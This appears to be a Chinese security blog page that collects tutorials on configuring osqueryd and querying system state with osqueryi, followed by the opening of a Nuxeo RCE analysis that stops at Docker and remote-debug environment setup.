知识星球

安全情报

  • 信息安全情报
  • 深网暗网情报
  • 前沿安全技术
  • 业务安全风控
  • 漏洞威胁感知
  • 数据泄露事件

微信扫描二维码加入知识星球:

TIM图片20180303232925.png

使用osqueryd监控系统

0x01 说明

osquery初识主要是借由osqueryi的方式对osquery进行了一个基本的介绍。可以看到osqueryi是一个交互式的shell,我们可以很方便使用它进行测试,但是如果我们要将osquery投入实际使用,明显是osqueryd更加合适。本篇文章将详细地介绍osqueryd的使用。

0x02 osqueryd配置

如果使用osqueryi,我们可以通过osqueryi -audit_allow_config=true --audit_allow_sockets=true --audit_persist=true这样的方式传入设置。如果是osqueryd呢?其实我们安装好osquery之后,会以service的方式存在于系统中,同时可以利用systemctl的方式进行控制,其文件位于/usr/lib/systemd/system/osqueryd.service

[Unit]
Description=The osquery Daemon
After=network.service syslog.service

[Service]
TimeoutStartSec=0
EnvironmentFile=/etc/sysconfig/osqueryd
ExecStartPre=/bin/sh -c "if [ ! -f $FLAG_FILE ]; then touch $FLAG_FILE; fi"
ExecStartPre=/bin/sh -c "if [ -f $LOCAL_PIDFILE ]; then mv $LOCAL_PIDFILE $PIDFILE; fi"
ExecStart=/usr/bin/osqueryd \
  --flagfile $FLAG_FILE \
  --config_path $CONFIG_FILE
Restart=on-failure
KillMode=process
KillSignal=SIGTERM

[Install]
WantedBy=multi-user.target

启动方式就是ExecStart=/usr/bin/osqueryd --flagfile $FLAG_FILE --config_path $CONFIG_FILE,通过--flagfile--config_path的方式指定配置文件的路径。$FLAG_FILE和$CONFIG_FILE是在/etc/sysconfig/osqueryd中定义。

FLAG_FILE="/etc/osquery/osquery.flags"
CONFIG_FILE="/etc/osquery/osquery.conf"
LOCAL_PIDFILE="/var/osquery/osqueryd.pidfile"
PIDFILE="/var/run/osqueryd.pidfile"

默认的配置文件就是位于/etc/osquery/osquery.flags/etc/osquery/osquery.conf。当启动osqueryd时,如果不存在osquery.flagsosquery.conf会创建两个空文件,否则直接读取此文件的内容。其实osquery.conf可以认为是osquery.flags的超集,因为osquery.flags仅仅只是设置一些配置,而这些配置也同样可以在osquery.conf中实现,同时在osquery.conf中还可以配置osqueryd需要执行的SQL。所以接下来本文将仅仅只介绍osquery.conf的使用。

0x03 osquery.conf

osquery本身提供了一个osquery.conf的例子,其写法是一个JSON格式的文件,在这里我们将其简化一下。

{
  // Configure the daemon below:
  "options": {
    // Select the osquery config plugin.
    "config_plugin": "filesystem",

    // Select the osquery logging plugin.
    "logger_plugin": "filesystem",

    // The log directory stores info, warning, and errors.
    // If the daemon uses the 'filesystem' logging retriever then the log_dir
    // will also contain the query results.
    //"logger_path": "/var/log/osquery",

    // Set 'disable_logging' to true to prevent writing any info, warning, error
    // logs. If a logging plugin is selected it will still write query results.
    //"disable_logging": "false",

    // Splay the scheduled interval for queries.
    // This is very helpful to prevent system performance impact when scheduling
    // large numbers of queries that run a smaller or similar intervals.
    //"schedule_splay_percent": "10",

    // A filesystem path for disk-based backing storage used for events and
    // query results differentials. See also 'use_in_memory_database'.
    //"database_path": "/var/osquery/osquery.db",

    // Comma-delimited list of table names to be disabled.
    // This allows osquery to be launched without certain tables.
    //"disable_tables": "foo_bar,time",

    "utc": "true"
  },

  // Define a schedule of queries:
  "schedule": {
    // This is a simple example query that outputs basic system information.
    "system_info": {
      // The exact query to run.
      "query": "SELECT hostname, cpu_brand, physical_memory FROM system_info;",
      // The interval in seconds to run this query, not an exact interval.
      "interval": 3600
    }
  },

  // Decorators are normal queries that append data to every query.
  "decorators": {
    "load": [
      "SELECT uuid AS host_uuid FROM system_info;",
      "SELECT user AS username FROM logged_in_users ORDER BY time DESC LIMIT 1;"
    ]
  },
  "packs": {
    // "osquery-monitoring": "/usr/share/osquery/packs/osquery-monitoring.conf",
    ....
  }, 
}

osquery.conf文件大致可以分为4个部分。

  • options,配置选项,Command Line Flags基本上对所有的配置选项都进行了说明。其实osquery.flags所配置也是这个部分。这也是之前说的osquery.conf可以认为是osquery.flags的超集的原因;
  • schedule,配置SQL语句。因为osqueryd是以daemon的方式运行,所以需要通过在schedule中定义SQL语句使其定期执行返回结果;
  • decorators,中文意思是“装饰”。在decorators中也是定义了一系列的SQL语句,执行得到的结果会附加在是在执行schedule中的结果的后面;所以我们看到在decorators我们取的是uuid和登录的username
  • packs,就是一系列SQL语句的合集;

0x04 配置说明

上一节中对osquery.conf中的配置进了一个简单的说明,在本节中将详细说明。

options

  • options就是配置。Command Line Flags基本上对所有的配置选项都进行了说明。我们可以进行多种配置,有兴趣的可以自行研究。本节仅仅说明几个常用的配置;
  • config_plugin,配置选项是filesystem。如果是通过osquery.conf管理osquery就是采用filesystem,还有一种选项是tls(这一种主要是通过API的方式来配置osquery)。
  • logger_plugin,配置选项是filesystem,这也是osquery的默认值。根据Logger plugins,还可以配置tls,syslog (for POSIX,windows_event_log (for Windows),kinesis,firehose,kafka_producer
  • database_path,默认值是/var/osquery/osquery.db。因为osquery内部会使用到数据,所以配置此目录是osquery的数据库文件位置。
  • disable_logging,是配置设置osquery的结果是否需要保存到本地,这个配置其实和logger_plugin:filesystem有点重复。
  • hostIdentifier,相当于表示每个主机的标识,比如可以采用hostname作为标识。

schedule

schedule是osqeuryd用于写SQL语句的标签。其中的一个示例如下所示:

"system_info": {
    // The exact query to run.
    "query": "SELECT hostname, cpu_brand, physical_memory FROM system_info;",
    // The interval in seconds to run this query, not an exact interval.
    "interval": 3600
}

其中system_info是定义的一个SQL任务的名字,也是一个JSON格式。在其中可以进行多项设置,包括:

  1. query,定义需要执行的SQL语句;
  2. interval,定时执行的时间,示例中是3600,表示每隔3600秒执行一次;
  3. snapshot,可选选项,可以配置为snapshot:true。osquery默认执行的是增量模式,使用了snapshot则是快照模式。比如执行select * from processes;,osqeury每次产生的结果是相比上一次变化的结果;如果采用的是snapshot,则会显示所有的进程的,不会与之前的结果进行对比;
  4. removed,可选选项,默认值是true,用来设置是否记录actionremove的日志。

当然还有一些其他的不常用选项,如platformversionsharddescription等等。

更多关于schedule的介绍可以参考schedule

decorators

正如其注释Decorators are normal queries that append data to every query所说,Decorators会把他的执行结果添加到schedule中的sql语句执行结果中。所以根据其作用Decorators也不是必须存在的。。在本例中Decorators存在两条记录:

SELECT uuid AS host_uuid FROM system_info;
SELECT user AS username FROM logged_in_users ORDER BY time DESC LIMIT 1;
  1. SELECT uuid AS host_uuid FROM system_info,从system_info获取uuid作为标识符1;
  2. SELECT user AS username FROM logged_in_users ORDER BY time DESC LIMIT 1;,从logged_in_users选择user(其实查询的是用户名)的第一项作为标识符2;

当然可以在Decorators写多条语句作为标识符,但是感觉没有必要;

packs

packs就是打包的SQL语句的合集,本示例中使用的/usr/share/osquery/packs/osquery-monitoring.conf,这是官方提供的一个监控系统信息的SQL语句的集合;

{
  "queries": {
    "schedule": {
      "query": "select name, interval, executions, output_size, wall_time, (user_time/executions) as avg_user_time, (system_time/executions) as avg_system_time, average_memory, last_executed from osquery_schedule;",
      "interval": 7200,
      "removed": false,
      "blacklist": false,
      "version": "1.6.0",
      "description": "Report performance for every query within packs and the general schedule."
    },
    "events": {
      "query": "select name, publisher, type, subscriptions, events, active from osquery_events;",
      "interval": 86400,
      "removed": false,
      "blacklist": false,
      "version": "1.5.3",
      "description": "Report event publisher health and track event counters."
    },
    "osquery_info": {
      "query": "select i.*, p.resident_size, p.user_time, p.system_time, time.minutes as counter from osquery_info i, processes p, time where p.pid = i.pid;",
      "interval": 600,
      "removed": false,
      "blacklist": false,
      "version": "1.2.2",
      "description": "A heartbeat counter that reports general performance (CPU, memory) and version."
    }
  }
}

packs中的配置和schedule的配置方法并没有什么区别。我们在packs中查询到的信息包括:

  • osquery_schedule拿到osqueryd设置的schedule的配置信息;
  • osquery_events中拿到osqueryd所支持的所有的event
  • processesosquery_info中拿到进程相关的信息;

使用packs的好处是可以将一系列相同功能的SQL语句放置在同一个文件中;

0x05 运行osqueryd

当以上配置完毕之后,我们就可以通过sudo osqueryd的方式启动;如果我们设置logger_plugin:filesystem,那么日志就会落在本地/var/log/osquery下。此目录下包含了多个文件,每个文件分别记录不同的信息。

osqueryd.results.log,osqueryd的增量日志的信息都会写入到此文件中;保存结果的形式是JSON形式。示例如下:

{"name":"auditd_process_info","hostIdentifier":"localhost.localdomain","calendarTime":"Wed Oct 24 13:07:12 2018 UTC","unixTime":1540386432,"epoch":0,"counter":0,"decorations":{"host_uuid":"99264D56-9A4E-E593-0B4E-872FBF3CD064","username":"username"},"columns":{"atime":"1540380461","auid":"4294967295","btime":"0","cmdline":"awk { sum += $1 }; END { print 0+sum }","ctime":"1538239175","cwd":"\"/\"","egid":"0","euid":"0","gid":"0","mode":"0100755","mtime":"1498686768","owner_gid":"0","owner_uid":"0","parent":"4086","path":"/usr/bin/gawk","pid":"4090","time":"1540386418","uid":"0","uptime":"1630"},"action":"added"}
{"name":"auditd_process_info","hostIdentifier":"localhost.localdomain","calendarTime":"Wed Oct 24 13:07:12 2018 UTC","unixTime":1540386432,"epoch":0,"counter":0,"decorations":{"host_uuid":"99264D56-9A4E-E593-0B4E-872FBF3CD064","username":"username"},"columns":{"atime":"1540380461","auid":"4294967295","btime":"0","cmdline":"sleep 60","ctime":"1538240835","cwd":"\"/\"","egid":"0","euid":"0","gid":"0","mode":"0100755","mtime":"1523421302","owner_gid":"0","owner_uid":"0","parent":"741","path":"/usr/bin/sleep","pid":"4091","time":"1540386418","uid":"0","uptime":"1630"},"action":"added"}

其中的added表示的就是相当于上一次增加的进程信息;每一次执行的结果都是一条JSON记录;

squeryd.snapshots.log,记录的是osqueryd中使用snapshot:true标记的SQL语句执行结果;

{"snapshot":[{"header":"Defaults","rule_details":"!visiblepw"},{"header":"Defaults","rule_details":"always_set_home"},{"header":"Defaults","rule_details":"match_group_by_gid"},{"header":"Defaults","rule_details":"env_reset"},{"header":"Defaults","rule_details":"env_keep = \"COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS\""},{"header":"Defaults","rule_details":"env_keep += \"MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE\""},{"header":"Defaults","rule_details":"env_keep += \"LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES\""},{"header":"Defaults","rule_details":"env_keep += \"LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE\""},{"header":"Defaults","rule_details":"env_keep += \"LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY\""},{"header":"Defaults","rule_details":"secure_path = /sbin:/bin:/usr/sbin:/usr/bin"},{"header":"root","rule_details":"ALL=(ALL) ALL"},{"header":"%wheel","rule_details":"ALL=(ALL) ALL"}],"action":"snapshot","name":"sudoers","hostIdentifier":"localhost.localdomain","calendarTime":"Tue Oct  9 11:54:00 2018 UTC","unixTime":1539086040,"epoch":0,"counter":0,"decorations":{"host_uuid":"99264D56-9A4E-E593-0B4E-872FBF3CD064","username":"username"}}
{"snapshot":[{"header":"Defaults","rule_details":"!visiblepw"},{"header":"Defaults","rule_details":"always_set_home"},{"header":"Defaults","rule_details":"match_group_by_gid"},{"header":"Defaults","rule_details":"env_reset"},{"header":"Defaults","rule_details":"env_keep = \"COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS\""},{"header":"Defaults","rule_details":"env_keep += \"MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE\""},{"header":"Defaults","rule_details":"env_keep += \"LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES\""},{"header":"Defaults","rule_details":"env_keep += \"LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE\""},{"header":"Defaults","rule_details":"env_keep += \"LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY\""},{"header":"Defaults","rule_details":"secure_path = /sbin:/bin:/usr/sbin:/usr/bin"},{"header":"root","rule_details":"ALL=(ALL) ALL"},{"header":"%wheel","rule_details":"ALL=(ALL) ALL"}],"action":"snapshot","name":"sudoers","hostIdentifier":"localhost.localdomain","calendarTime":"Tue Oct  9 11:54:30 2018 UTC","unixTime":1539086070,"epoch":0,"counter":0,"decorations":{"host_uuid":"99264D56-9A4E-E593-0B4E-872FBF3CD064","username":"username"}}

由于snapshot是快照模式,所以即使两次结果相同也会全部显示出来;

osqueryd.INFO,记录osqueryd中正在运行的情况。示例如下:

Log file created at: 2018/11/22 17:06:06
Running on machine: osquery.origin
Log line format: [IWEF]mmdd hh:mm:ss.uuuuuu threadid file:line] msg
I1122 17:06:06.729902 22686 events.cpp:862] Event publisher not enabled: auditeventpublisher: Publisher disabled via configuration
I1122 17:06:06.730651 22686 events.cpp:862] Event publisher not enabled: syslog: Publisher disabled via configuration

osqueryd.WARNING,记录osquery的警告。示例如下:

Log file created at: 2018/10/09 19:53:45
Running on machine: localhost.localdomain
Log line format: [IWEF]mmdd hh:mm:ss.uuuuuu threadid file:line] msg
E1009 19:53:45.471046 104258 events.cpp:987] Requested unknown/failed event publisher: auditeventpublisher
E1009 19:53:45.471606 104259 events.cpp:987] Requested unknown/failed event publisher: inotify
E1009 19:53:45.471634 104260 events.cpp:987] Requested unknown/failed event publisher: syslog
E1009 19:53:45.471658 104261 events.cpp:987] Requested unknown/failed event publisher: udev

osqueryd.ERROR,记录的是osquery的错误信息。示例如下:

Log file created at: 2018/10/09 19:53:45
Running on machine: localhost.localdomain
Log line format: [IWEF]mmdd hh:mm:ss.uuuuuu threadid file:line] msg
E1009 19:53:45.471046 104258 events.cpp:987] Requested unknown/failed event publisher: auditeventpublisher
E1009 19:53:45.471606 104259 events.cpp:987] Requested unknown/failed event publisher: inotify
E1009 19:53:45.471634 104260 events.cpp:987] Requested unknown/failed event publisher: syslog
E1009 19:53:45.471658 104261 events.cpp:987] Requested unknown/failed event publisher: udev

在本例中错误信息和警告信息完全相同。在实际情况下,可能很多时候均不相同;

0x06 总结

本文主要是对osqueryd的常用配置进行了简要的说法。通过本文能够快速地利用上手osquery,由于篇幅的原因,有关osquery的很多东西没有介绍或者说明得很详细。官方的文档对osqueryd的配置已经说明得很是详尽了,如果对本文有任何的不解,可以去查阅相关的文档,也欢迎大家就相关问题与我讨论。

以上

osquery初识

0x01 说明

osquery是一个由FaceBook开源用于对系统进行查询、监控以及分析的一款软件。osquery对其的说明如下:

osquery exposes an operating system as a high-performance relational database. This allows you to write SQL-based queries to explore operating system data. With osquery, SQL tables represent abstract concepts such as running processes, loaded kernel modules, open network connections, browser plugins, hardware events or file hashes.

我们知道当你们在Linux中使用诸如pstopls -l等等命令的时候,可以发下其实他们的输出结果的格式都是很固定的很像一张表。或许是基于这样的想法,facebook开发了osquery。osquery将操作系统当作是一个高性能的关系型数据库。使用osquery运行我们能够使用类似于SQL语句的方式去查询数据库中的信息,比如正在运行的进程信息,加载的内核模块,网络连接,浏览器插件等等信息(一切查询的信息的粒度取决于osquery的实现粒度了)。

osquery也广泛地支持多个平台,包括MacOS、CentOS、Ubuntu、Windows 10以及FreeBSD,具体所支持的版本的信息也可以在osquery主页查看。除此之外,osquery的配套文档/网站也是一应俱全,包括主页Githubreadthedocsslack

本篇文章以CentOS为例说明Osquery的安装以及使用。

0x02 安装

主页上面提供了不同操作系统的安装包,我们下载CentOS对应的rpm文件即可。在本例中文件名是osquery-3.3.0-1.linux.x86_64.rpm,使用命令sudo yum install osquery-3.3.0-1.linux.x86_64.rpm安装。安装成功之后会出现:

Installed:
  osquery.x86_64 0:3.3.0-1.linux                                                                                                                                                             
Complete!

0x03 运行

osquery存在两种运行模式,分别是osqueryi(交互式模式)、osqueryd(后台进程模式)。

  • osqueryi,与osqueryd安全独立,不需要以管理员的身份运行,能够及时地查看当前操作系统的状态信息。
  • osqueryd,我们能够利用osqueryd执行定时查询记录操作系统的变化,例如在第一次执行和第二次执行之间的进程变化(增加/减少),osqueryd会将进程执行的结果保存(文件或者是直接打到kafka中)。osqueryd还会利用操作系统的API来记录文件目录的变化、硬件事件、网络行为的变化等等。osqueryd在Linux中是以系统服务的方式来运行。

为了便于演示,我们使用osqueyi来展示osquery强大的功能。我们直接在terminal中输入osqueryi即可进入到osqueryi的交互模式中(osqueryi采用的是sqlite的shell的语法,所以我们也可以使用在sqlite中的所有的内置函数)。

[user@localhost Desktop]$ osqueryi
Using a virtual database. Need help, type '.help'
osquery> .help
Welcome to the osquery shell. Please explore your OS!
You are connected to a transient 'in-memory' virtual database.

.all [TABLE]     Select all from a table
.bail ON|OFF     Stop after hitting an error
.echo ON|OFF     Turn command echo on or off
.exit            Exit this program
.features        List osquery's features and their statuses
.headers ON|OFF  Turn display of headers on or off
.help            Show this message
.mode MODE       Set output mode where MODE is one of:
                   csv      Comma-separated values
                   column   Left-aligned columns see .width
                   line     One value per line
                   list     Values delimited by .separator string
                   pretty   Pretty printed SQL results (default)
.nullvalue STR   Use STRING in place of NULL values
.print STR...    Print literal STRING
.quit            Exit this program
.schema [TABLE]  Show the CREATE statements
.separator STR   Change separator used by output mode
.socket          Show the osquery extensions socket path
.show            Show the current values for various settings
.summary         Alias for the show meta command
.tables [TABLE]  List names of tables
.width [NUM1]+   Set column widths for "column" mode
.timer ON|OFF      Turn the CPU timer measurement on or off

通过.help,我们能够查看在osqueryi模式下的一些基本操作。比如.exit表示退出osqueryi,.mode切换osqueryi的输出结果,.show展示目前osqueryi的配置信息,.tables展示在当前的操作系统中能够支持的所有的表名。.schema [TABLE]显示具体的表的结构信息。

osquery> .show
osquery - being built, with love, at Facebook

osquery 3.3.0
using SQLite 3.19.3

General settings:
     Flagfile: 
       Config: filesystem (/etc/osquery/osquery.conf)
       Logger: filesystem (/var/log/osquery/)
  Distributed: tls
     Database: ephemeral
   Extensions: core
       Socket: /home/xingjun/.osquery/shell.em

Shell settings:
         echo: off
      headers: on
         mode: pretty
    nullvalue: ""
       output: stdout
    separator: "|"
        width: 

Non-default flags/options:
  database_path: /home/xingjun/.osquery/shell.db
  disable_database: true
  disable_events: true
  disable_logging: true
  disable_watchdog: true
  extensions_socket: /home/xingjun/.osquery/shell.em
  hash_delay: 0
  logtostderr: true
  stderrthreshold: 3

可以看到设置包括常规设置(General settings)、shell设置(Shell settings)、非默认选项(Non-default flags/options)。在常规设置中主要是显示了各种配置文件的位置(配置文件/存储日志文件的路径)。 在shell设置中包括了是否需要表头信息(headers),显示方式(mode: pretty),分隔符(separator: "|")。

.table可以查看在当前操作系统中所支持的所有的表,虽然在schema中列出了所有的表(包括了win平台,MacOS平台,Linux平台)。但是具体到某一个平台上面是不会包含其他平台上的表。下方显示的就是我在CentOS7下显示的表。

osquery> .table
  => acpi_tables
  => apt_sources
  => arp_cache
  => augeas
  => authorized_keys
  => block_devices
  => carbon_black_info
  => carves
  => chrome_extensions
  => cpu_time
  => cpuid
  => crontab
...

.schema [TABLE]可以用于查看具体的表的结构信息。如下所示:

osquery> .schema users
CREATE TABLE users(`uid` BIGINT, `gid` BIGINT, `uid_signed` BIGINT, `gid_signed` BIGINT, `username` TEXT, `description` TEXT, `directory` TEXT, `shell` TEXT, `uuid` TEXT, `type` TEXT HIDDEN, PRIMARY KEY (`uid`, `username`)) WITHOUT ROWID;
osquery> .schema processes
CREATE TABLE processes(`pid` BIGINT, `name` TEXT, `path` TEXT, `cmdline` TEXT, `state` TEXT, `cwd` TEXT, `root` TEXT, `uid` BIGINT, `gid` BIGINT, `euid` BIGINT, `egid` BIGINT, `suid` BIGINT, `sgid` BIGINT, `on_disk` INTEGER, `wired_size` BIGINT, `resident_size` BIGINT, `total_size` BIGINT, `user_time` BIGINT, `system_time` BIGINT, `disk_bytes_read` BIGINT, `disk_bytes_written` BIGINT, `start_time` BIGINT, `parent` BIGINT, `pgroup` BIGINT, `threads` INTEGER, `nice` INTEGER, `is_elevated_token` INTEGER HIDDEN, `upid` BIGINT HIDDEN, `uppid` BIGINT HIDDEN, `cpu_type` INTEGER HIDDEN, `cpu_subtype` INTEGER HIDDEN, `phys_footprint` BIGINT HIDDEN, PRIMARY KEY (`pid`)) WITHOUT ROWID;

上面通过.schema查看usersprocesses表的信息,结果输出的是他们对应的DDL。

0x03 基本使用

在本章节中,将会演示使用osqueryi来实时查询操作系统中的信息(为了方便展示查询结果使用的是.mode line模式)。

查看系统信息

osquery> select * from system_info;
          hostname = localhost
              uuid = 4ee0ad05-c2b2-47ce-aea1-c307e421fa88
          cpu_type = x86_64
       cpu_subtype = 158
         cpu_brand = Intel(R) Core(TM) i5-8400 CPU @ 2.80GHz
cpu_physical_cores = 1
 cpu_logical_cores = 1
     cpu_microcode = 0x84
   physical_memory = 2924228608
   hardware_vendor = 
    hardware_model = 
  hardware_version = 
   hardware_serial = 
     computer_name = localhost.localdomain
    local_hostname = localhost

查询的结果包括了CPU的型号,核数,内存大小,计算机名称等等;

查看OS版本

osquery> select * from os_version;
         name = CentOS Linux
      version = CentOS Linux release 7.4.1708 (Core)
        major = 7
        minor = 4
        patch = 1708
        build = 
     platform = rhel
platform_like = rhel
     codename =

以看到我的本机的操作系统的版本是CentOS Linux release 7.4.1708 (Core)

查看内核信息版本

osquery> SELECT * FROM kernel_info;
  version = 3.10.0-693.el7.x86_64
arguments = ro crashkernel=auto rd.lvm.lv=centos/root rd.lvm.lv=centos/swap rhgb quiet LANG=en_US.UTF-8
     path = /vmlinuz-3.10.0-693.el7.x86_64
   device = /dev/mapper/centos-root

osquery> SELECT * FROM kernel_modules LIMIT 3;
   name = tcp_lp
   size = 12663
used_by = -
 status = Live
address = 0xffffffffc06cf000

   name = fuse
   size = 91874
used_by = -
 status = Live
address = 0xffffffffc06ae000

   name = xt_CHECKSUM
   size = 12549
used_by = -
 status = Live
address = 0xffffffffc06a9000

查询repo和pkg信息

osquery提供查询系统中的repo和okg相关信息的表。在Ubuntu中对应的是apt相关的包信息,在Centos中对应的是yum相关的包信息。本例均以yum包为例进行说明

osquery> SELECT * FROM yum_sources  limit 2;
    name = CentOS-$releasever - Base
 baseurl = 
 enabled = 
gpgcheck = 1
  gpgkey = file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

    name = CentOS-$releasever - Updates
 baseurl = 
 enabled = 
gpgcheck = 1
  gpgkey = file:///etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-7

我们可以直接利用yum_sources来查看操作系统的yum源相关的信息。

osquery> SELECT name, version FROM rpm_packages order by name limit 3;
   name = GConf2
version = 3.2.6

   name = GeoIP
version = 1.5.0

   name = ModemManager
version = 1.6.0

利用rpm_packages查看系统中已经安装的rpm包信息。我们也可以通过name对我们需要查询的包进行过滤,如下:

osquery> SELECT name, version FROM rpm_packages where name="osquery";
   name = osquery
version = 3.3.0

挂载信息

我们可以使用mounts表来查询系统中的具体的驱动信息。例如我们可以如下的SQL语句进行查询:

SELECT * FROM mounts;
SELECT device, path, type, inodes_free, flags FROM mounts;

我们也可以使用where语句查询摸一个具体的驱动信息,例如ext4或者是tmpfs信息。如下:

osquery> SELECT device, path, type, inodes_free, flags FROM mounts WHERE type="ext4";
osquery> SELECT device, path, type, inodes_free, flags FROM mounts WHERE type="tmpfs";
     device = tmpfs
       path = /dev/shm
       type = tmpfs
inodes_free = 356960
      flags = rw,seclabel,nosuid,nodev

     device = tmpfs
       path = /run
       type = tmpfs
inodes_free = 356386
      flags = rw,seclabel,nosuid,nodev,mode=755

     device = tmpfs
       path = /sys/fs/cgroup
       type = tmpfs
inodes_free = 356945
      flags = ro,seclabel,nosuid,nodev,noexec,mode=755

     device = tmpfs
       path = /run/user/42
       type = tmpfs
inodes_free = 356955
      flags = rw,seclabel,nosuid,nodev,relatime,size=285572k,mode=700,uid=42,gid=42

     device = tmpfs
       path = /run/user/1000
       type = tmpfs
inodes_free = 356939
      flags = rw,seclabel,nosuid,nodev,relatime,size=285572k,mode=700,uid=1000,gid=1000

内存信息

使用memory_info查看内存信息,如下:

osquery> select * from memory_info;
memory_total = 2924228608
 memory_free = 996024320
     buffers = 4280320
      cached = 899137536
 swap_cached = 0
      active = 985657344
    inactive = 629919744
  swap_total = 2684350464
   swap_free = 2684350464

网卡信息

使用interface_addresses查看网卡信息,如下:

osquery> SELECT * FROM interface_addresses;
     interface = lo
       address = 127.0.0.1
          mask = 255.0.0.0
     broadcast = 
point_to_point = 127.0.0.1
          type = 

     interface = virbr0
       address = 192.168.122.1
          mask = 255.255.255.0
     broadcast = 192.168.122.255
point_to_point = 
          type = 

     interface = lo
       address = ::1
          mask = ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
     broadcast = 
point_to_point = 
          type =

还可以使用interface_details查看更加具体的网卡信息。

SELECT * FROM interface_details;
SELECT interface, mac, ipackets, opackets, ibytes, obytes FROM interface_details;

查询结果如下

osquery> SELECT * FROM interface_details;
  interface = lo
        mac = 00:00:00:00:00:00
       type = 4
        mtu = 65536
     metric = 0
      flags = 65609
   ipackets = 688
   opackets = 688
     ibytes = 59792
     obytes = 59792
    ierrors = 0
    oerrors = 0
     idrops = 0
     odrops = 0
 collisions = 0
last_change = -1
 link_speed = 
   pci_slot = 
    ....

系统启动时间

osquery> select * from uptime;
         days = 0
        hours = 2
      minutes = 23
      seconds = 51
total_seconds = 8631

查询用户信息

osquery提供了多个表用于查询用户的信息,包括使用users表检索系统中所有的用户,使用last表查看用户上次登录的信息,使用logged_in_user查询具有活动shell的用户信息。

使用select * from users查看所有用户信息,使用类似于uid>1000的方式过滤用户。

osquery> select * from users where uid>1000;
        uid = 65534
        gid = 65534
 uid_signed = 65534
 gid_signed = 65534
   username = nfsnobody
description = Anonymous NFS User
  directory = /var/lib/nfs
      shell = /sbin/nologin
       uuid =

我们可以使用last表查询最终的登录信息,如SELECT * FROM last;。对于普通用户来说,其type值为7。那么我们的查询条件如下:

osquery> SELECT * FROM last where type=7;
username = user
     tty = :0
     pid = 12776
    type = 7
    time = 1539882439
    host = :0

username = user
     tty = pts/0
     pid = 13754
    type = 7
    time = 1539882466
    host = :0

其中的time是时间戳类型,转换为具体的日期之后就可以看到具体的登录时间了。

使用SELECT * FROM logged_in_users;查看当前已经登录的用户信息。

防火墙信息

我们可以使用iptables来查看具体的防火墙信息,如select * from iptables;,也可以进行过滤查询具体的防火墙信息。如SELECT chain, policy, src_ip, dst_ip FROM iptables WHERE chain="POSTROUTING" order by src_ip;

进程信息

我们可以使用processes来查询系统上进程的信息,包括pid,name,path,command等等。
可以使用select * from processes;或者查看具体的某几项信息,select pid,name,path,cmdline from processes;

osquery> select pid,name,path,cmdline from processes limit 2;
    pid = 1
   name = systemd
   path = 
cmdline = /usr/lib/systemd/systemd --switched-root --system --deserialize 21

    pid = 10
   name = watchdog/0
   path = 
cmdline =

检查计划任务

我们可以使用crontab来检查系统中的计划任务。

osquery> select * from crontab;
       event = 
      minute = 01
        hour = *
day_of_month = *
       month = *
 day_of_week = *
     command = root run-parts /etc/cron.hourly
        path = /etc/cron.d/0hourly

       event = 
      minute = 0
        hour = 1
day_of_month = *
       month = *
 day_of_week = Sun
     command = root /usr/sbin/raid-check
        path = /etc/cron.d/raid-check

其他

在Linux中还存在其他很多的表能够帮助我们更好地进行入侵检测相关的工作,包括process_eventssocket_eventsprocess_open_sockets等等,这些表可供我们进行入侵检测的确认工作。至于这些表的工作原理,有待阅读osquery的源代码进行进一步分析。

0x04 总结

本文主要是对Osquery的基础功能进行了介绍。Oquery的强大功能需要进一步地挖掘和发现。总体来说,Osquery将操作系统中的信息抽象成为一张张表,对于进行基线检查,系统监控是一个非常优雅的方式。当然由于Osquery在这方面的优势,也可以考虑将其作为HIDS的客户端,但是如果HIDS仅仅只有Osquery也显然是不够的。

以上

Nuxeo RCE漏洞分析

说明

Nuxeo RCE的分析是来源于Orange的这篇文章How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System,中文版见围观orange大佬在Amazon内部协作系统上实现RCE。在Orange的这篇文章虽然对整个漏洞进行了说明,但是如果没有实际调试过整个漏洞,看了文章之后始终还是难以理解,体会不深。由于Nuxeo已经将源码托管在Github上面,就决定自行搭建一个Nuxeo系统复现整个漏洞。

环境搭建

整个环节最麻烦就是环境搭建部分。由于对整个系统不熟,踩了很多的坑。

源码搭建

由于Github上面有系统的源码,考虑直接下载Nuxeo的源码搭建环境。当Nuxeo导入到IDEA中,发现有10多个模块,导入完毕之后也没有找到程序的入口点。折腾了半天,也没有运行起来。

考虑到之后整个系统中还涉及到了NuxeoJBoss-SeamTomcat,那么我就必须手动地解决这三者之间的部署问题。但在网络上也没有找到这三者之间的共同运行的方式。对整个三个组件的使用也不熟,搭建源码的方式也只能夭折了。

Docker远程调试

之后同学私信了orange调试方法之后,得知是直接使用的docker+Eclipse Remote Debug远程调试的方式。因为我们直接从Docker下载的Nuxeo系统是可以直接运行的,所以利用远程调试的方式是可以解决环境这个问题。漏洞的版本是在Nuxeo的分支8上面。整个搭建步骤如下:

  1. 拉取分支。从Docker上面拉取8的分支版本,docker pull nuxeo:8
  2. 开启调试。修改/opt/nuxeo/server/bin/nuxeo.conf文件,关闭#JAVA_OPTS=$JAVA_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n这行注释,开始远程调试。
  3. 安装模块。进入到/opt/nuxeo/server目录下运行./bin/nuxeoctl mp-install nuxeo-jsf-ui(这个组件和我们之后的漏洞利用有关)
  4. 导出源代码。由于需要远程调试,所以需要将Docker中的源代码导出来。从Docker中到处源代码到宿主机中也简单。

    1. 进入到Docker容器中,将/opt/nuxeo/server下的文件全部打包
    2. 从Docker中导出上一步打包的文件到宿主机中。
  5. Daemon的方式运行Docker环境。
